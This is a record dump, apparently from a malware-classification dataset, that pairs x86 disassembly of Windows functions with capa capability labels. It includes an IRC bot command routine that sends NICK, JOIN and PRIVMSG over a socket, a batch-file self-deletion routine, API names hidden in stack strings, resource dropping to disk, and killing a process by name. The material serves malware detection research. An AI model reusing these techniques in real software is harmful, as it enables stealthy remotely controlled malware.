joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00403cc0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x402eb0
or eax, 0xffffffff
jmp 0x402f0b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x402eea
mov eax, 0xfffffffe
jmp 0x402f0b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402f08
mov eax, 0xfffffffd
jmp 0x402f0b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x403080
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov edx, 5
mov word [ebp - 0x28], dx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov esp, ebp
pop ebp
ret

Function at 0x4030f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40312d
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x403140
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push 0
push 0xf
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x403162
xor eax, eax
jmp 0x4031ea
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
test eax, eax
jne 0x403184
xor eax, eax
jmp 0x4031ea
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4031ca
push 1
mov edx, dword [ebp - 0x128]
push edx
call fcn.004030f0
add esp, 8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
jmp 0x4031ea
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x403184
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4031f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push 0
push 0xf
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40320f
xor eax, eax
jmp 0x403286
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32First
test eax, eax
jne 0x403231
xor eax, eax
jmp 0x403286
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x403266
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
jmp 0x403286
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x403231
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403580
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x108]
push eax
push str._swinmgr.txt
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x403624
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x403628
xor al, al
jmp 0x403637
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x403640
Capabilities:
Create process on windows
Get common file path
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0xa
call fcn.00402f10
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str..bat
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x4078f4
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40378a
push 0x80
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push str.:repeat_n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x407904
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push str.if_exist___s__goto_repeat_n
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
push str.del___s__n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x403790
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x802a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str._x86_
lea edx, [ebp - 0x108]
push edx
call fcn.00401200
add esp, 8
test eax, eax
je 0x4037e3
mov al, 1
jmp 0x4037e5
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x403c60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
je 0x403ca6
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x403cae
push 0x14
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x403cc0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x403cff
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403cf2
xor eax, eax
jmp 0x403d02
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403f50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov byte [ebp - 0x240], 0
push 0x3f
push 0
lea eax, [ebp - 0x23f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x403fb8
push 0x3f
push str.NICK
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push 0x407a3c
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x4040d6
cmp dword [ebp + 0xc], 1
jne 0x404001
push 0x3f
push str.USER
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s_____x__:_s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
cmp dword [ebp + 0xc], 2
jne 0x404046
push 0x3f
push str.PONG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x240]
push eax
push str._s__s_r_n
push 0x1ff
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x14
jmp 0x4040d6
cmp dword [ebp + 0xc], 3
jne 0x40408c
push 0x3f
push str.JOIN
lea edx, [ebp - 0x240]
push edx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x240]
push edx
push str._s__s__s_r_n
push 0x1ff
lea eax, [ebp - 0x200]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
cmp dword [ebp + 0xc], 4
jne 0x4040d2
push 0x3f
push str.PRIVMSG
lea ecx, [ebp - 0x240]
push ecx
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x240]
push ecx
push str._s__s_:_s_r_n
push 0x1ff
lea edx, [ebp - 0x200]
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
jmp 0x4040d6
xor eax, eax
jmp 0x40412e
push 0x40
push 0
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x200]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x244], eax
push 0x200
push 0
lea ecx, [ebp - 0x200]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [ebp - 0x244]
mov esp, ebp
pop ebp
ret
Function at 0x4041a0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x409158]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x114], 0
jmp 0x4041dd
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jae 0x404201
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + eax*4 - 0x10c]
cmp ecx, dword [ebp + 8]
jne 0x4041ff
jmp 0x404201
jmp 0x4041ce
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x110]
jne 0x404237
cmp dword [ebp - 0x110], 0x40
jae 0x404237
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x10c], ecx
mov edx, dword [ebp - 0x110]
add edx, 1
mov dword [ebp - 0x110], edx
xor eax, eax
jne 0x4041c2
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x110]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esp, ebp
pop ebp
ret
Function at 0x405200
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
cmp dword [ebp + 8], 0
jbe 0x4052ee
mov dword [ebp - 4], 0
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
call fcn.004041a0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x4052a3
cmp dword [ebp - 4], 0x7ff
jne 0x405250
jmp 0x4052a3
push 0
push 1
mov edx, dword [ebp - 4]
lea eax, [ebp + edx - 0x810]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x405276
xor eax, eax
jmp 0x4052f1
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movsx ecx, byte [ebp + eax - 0x811]
cmp ecx, 0xd
je 0x40529f
mov edx, dword [ebp - 4]
movsx eax, byte [ebp + edx - 0x811]
cmp eax, 0xa
jne 0x4052a1
jmp 0x4052a3
jmp 0x405230
cmp dword [ebp - 8], 0
jg 0x4052b0
mov eax, dword [ebp - 8]
jmp 0x4052f1
cmp dword [ebp - 4], 2
jge 0x4052bd
jmp 0x405209
mov ecx, dword [ebp - 4]
mov byte [ebp + ecx - 0x811], 0
lea edx, [ebp - 0x810]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404ff0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x4052e9
mov eax, dword [ebp - 8]
jmp 0x4052f1
jmp 0x405209
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x405f80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [ebp - 0x40c], 0
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x405fcc
jmp 0x405ff6
cmp dword [ebp - 4], 0
jne 0x405fd4
jmp 0x405ff6
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x408]
push edx
mov eax, dword [ebp - 0x40c]
push eax
call fcn.00405900
add esp, 0xc
mov dword [ebp - 0x40c], eax
jmp 0x405fa3
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [ebp - 0x40c]
mov esp, ebp
pop ebp
ret
Function at 0x401228
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push edi
jmp 0x401236
xor eax, eax
lea edi, [ebp - 0x2b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
and dword [ebp - 4], 0
mov byte [ebp - 0x2c], 0x52
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x67
mov byte [ebp - 0x29], 0x51
mov byte [ebp - 0x28], 0x75
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x79
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x61
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x75
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
jmp 0x4012c6
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 8], eax
jmp 0x4012e6
test eax, eax
je 0x401312
jmp 0x4012f2
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x401312
jmp 0x40131a
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x4016ea
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
jmp 0x401710
movzx eax, word [ebp + 0x10]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
jmp 0x401743
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
push eax
mov dword [ebp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp + 0x14], eax
jmp 0x40177a
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x401804
jmp 0x4017ac
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, ebx
je 0x401804
jmp 0x4017e2
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401801
push 1
pop ebx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x100917e0
Capabilities:
Access peb ldr_data

Disassembly:
xor edx, edx
mov eax, dword fs:[edx + 0x30]
xor ecx, ecx
add edx, ecx
add edx, 0xc
mov eax, dword [eax + edx]
xor edx, edx
add edx, 0x14
mov ecx, eax
mov eax, dword [ecx + edx]
mov eax, dword [eax]
mov ecx, eax
mov eax, dword [ecx]
xor edx, edx
add edx, 0x10
mov ecx, eax
mov eax, dword [ecx + edx]
ret
Function at 0x100c7bb0
Capabilities:
Access peb ldr_data

Disassembly:
xor edx, edx
mov eax, dword fs:[edx + 0x30]
xor ecx, ecx
add edx, ecx
add edx, 0xc
mov eax, dword [eax + edx]
xor edx, edx
add edx, 0x14
mov ecx, eax
mov eax, dword [ecx + edx]
mov ecx, eax
mov eax, dword [ecx]
xor edx, edx
add edx, 0x10
mov ecx, eax
mov eax, dword [ecx + edx]
ret
Function at 0x10124d40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x101834cc]
add eax, dword [0x101834d0]
imul eax, eax, 0x37601445
sub eax, 0xf44548d0
and eax, 0x7aba051a
sub eax, 0xa6669d56
add eax, 0xee35423f
and eax, 0x259204fa
sub eax, 0xc40b12a9
xor eax, 0xa0cc1b99
sub eax, 0x6e03f653
xor eax, 0xfe361ad5
and eax, 0xa480d189
and eax, 0xa28b520b
xor eax, 0xc240503d
and eax, 0x8258fee4
mov ecx, 0xc39011b1
xor edx, edx
div ecx
add eax, 0x157ff0ce
imul eax, eax, 0x198845af
add eax, 0xa7e2d23a
xor eax, 0xfcad3f01
mov ecx, 0xa441b6d9
xor edx, edx
div ecx
add eax, 0xab140d2e
and eax, 0x8cac2624
xor eax, 0xe2c24827
and eax, 0xbd36646f
and eax, 0xb2c52bb8
sub eax, 0x8d4b585c
add eax, 0x2e065fdd
add eax, 0x88cb37ff
xor eax, 0xb29aabb1
and eax, 0x4ee9147d
and eax, 0xec88fa9b
sub eax, 0x2415956d
mov ecx, 0xb0547621
xor edx, edx
div ecx
and eax, 0xebd1ef9f
and eax, 0x9919d76e
mov ecx, 0xc6a1446d
xor edx, edx
div ecx
sub eax, 0x7a899d80
add eax, 0x75dc2fec
cmp eax, 0x51820972
jbe 0x10124f14
mov eax, dword [0x101834d4]
and eax, dword [0x101834d8]
and eax, 0xdddc91f5
imul eax, eax, 0x43f2b2de
xor eax, 0xffebe135
add eax, 0x32ebe8bb
or eax, 0x31c41297
xor eax, 0x887a6e9d
sub eax, 0xf365c004
or eax, 0xe2be4ffd
and eax, 0x7793c83a
imul eax, eax, 0xbc34e4af
imul eax, eax, 0xd3123501
sub eax, 0x2fae6aa9
xor eax, 0xba636225
add eax, 0xd2be7a9d
imul eax, eax, 0x3436dad5
and eax, 0x6912ed02
sub eax, 0xa8b80d69
and eax, 0x465e916a
and eax, 0x76c7c4aa
and eax, 0x26687660
imul eax, eax, 0xf035a3f5
add eax, 0xee5e42ef
xor eax, 0xddfc8a4f
xor eax, 0x57641226
add eax, 0x51d7d5f9
and eax, 0x31cbcc00
imul eax, eax, 0xc52f4e94
sub eax, 0x878a50e
or eax, 0xe3a00cd2
mov ecx, 0xdc7e9df
xor edx, edx
div ecx
mov ecx, 0xcfbbcef
xor edx, edx
div ecx
or eax, 0xe3b28b13
xor eax, 0x5804e0a8
and eax, 0xb38bc23f
add eax, 0x91bb80ea
and eax, 0x302745d6
sub eax, 0xd06cbaf8
imul eax, eax, 0x18366475
cmp eax, 0xdc27ec1c
jae 0x10124e29
lea eax, [0x10184108]
pop ebp
ret
jmp 0x10124e29
Function at 0x101261d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], ecx
mov eax, dword [0x1018358c]
imul eax, dword [0x10183590]
or eax, 0x82961c98
or eax, 0x63a3d6a4
or eax, 0x590de1b0
and eax, 0xe18530a9
imul eax, eax, 0x97f56af6
imul eax, eax, 0xc0ec4ce4
xor eax, 0x8e68269c
add eax, 0x7b8c9eeb
or eax, 0x1963b8bc
xor eax, 0x82304c5c
sub eax, 0x930ee91
add eax, 0xcaddc843
mov ecx, 0x51b8643f
xor edx, edx
div ecx
sub eax, 0x6135b263
and eax, 0x1dfadc53
and eax, 0x65982bcf
sub eax, 0xa881f85e
imul eax, eax, 0x97a70f9c
mov ecx, 0x5c1f33d
xor edx, edx
div ecx
xor eax, 0xbb52fd57
and eax, 0xc22ff64e
and eax, 0xb12625ee
and eax, 0x315ee2f3
mov ecx, 0x6abfe144
xor edx, edx
div ecx
mov ecx, 0xc04333d2
xor edx, edx
div ecx
imul eax, eax, 0x3cee8277
xor eax, 0x35fc9b55
mov ecx, 0x2a5ad9f2
xor edx, edx
div ecx
add eax, 0x37a33d65
imul eax, eax, 0x8ae2b59d
or eax, 0xf223d17d
or eax, 0xecacb514
mov ecx, 0x3cecc7d
xor edx, edx
div ecx
xor eax, 0xf2c4d8f0
add eax, 0xa0a3895c
and eax, 0xede63847
mov ecx, 0xf2fd6f1d
xor edx, edx
div ecx
and eax, 0xbc0362ef
cmp eax, 0xf21b1972
jae 0x101263a3
mov eax, dword [0x10183594]
mov ecx, dword [0x10183598]
and eax, ecx
xor eax, 0x21008800
or eax, 0x40000000
xor eax, 0x630
and eax, 0x7f048e30
add eax, 0x45b7acef
and eax, 0x543b1790
add eax, 0xf34b226e
or eax, 0x873b4357
xor eax, 0xfcca8df1
add eax, 0xd6a9bb60
or eax, 0xc83447f
add eax, 0x1e0f909c
xor eax, 0xa2b3546
imul eax, eax, 0x967ec26f
add eax, 0x59978531
and eax, 0x8000000
imul eax, eax, 0xdfe2dab4
xor eax, 0x2bc5d78b
mov ecx, 0x2c903293
mul ecx
mov eax, edx
mov edx, dword [ebp - 4]
shr eax, 0x1d
imul eax, eax, 0x61686247
add eax, 0xd2b24272
or eax, 0xdac1356
and eax, 0xdfc5357
imul eax, eax, 0x200b43ba
and eax, 0xa9b2aa6
add eax, 0x8c460834
or eax, 0x58dd606
imul eax, eax, 0x2af62ca3
and eax, 0x2c09b692
push eax
mov ecx, esp
mov dword [ecx], edx
mov ecx, dword [ecx]
mov edx, dword [ecx]
mov dword [ebp - 0xc], edx
mov ecx, dword [ecx + 4]
mov dword [ebp - 8], ecx
cmp eax, 0x93aa4e78
jae 0x101262cf
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
push eax
mov eax, esp
mov dword [eax], ecx
jmp 0x101262cf
Function at 0x101444a1
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x101444e0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x101444e0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x101444e0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x101444e0
cmp dword [ecx + 0x74], 0xe
jbe 0x101444e0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1014dc70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1014dc9d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1014dc9d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1014e249
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10173ec0
push 0x10173eb8
push 0x10173ec0
push 0x1f
call fcn.1014ec6a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1014e27d
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x1014e283
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1014e2c7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10173ee4
push 0x10173edc
push 0x10173ee4
push 0x21
call fcn.1014ec6a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1014e2fe
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
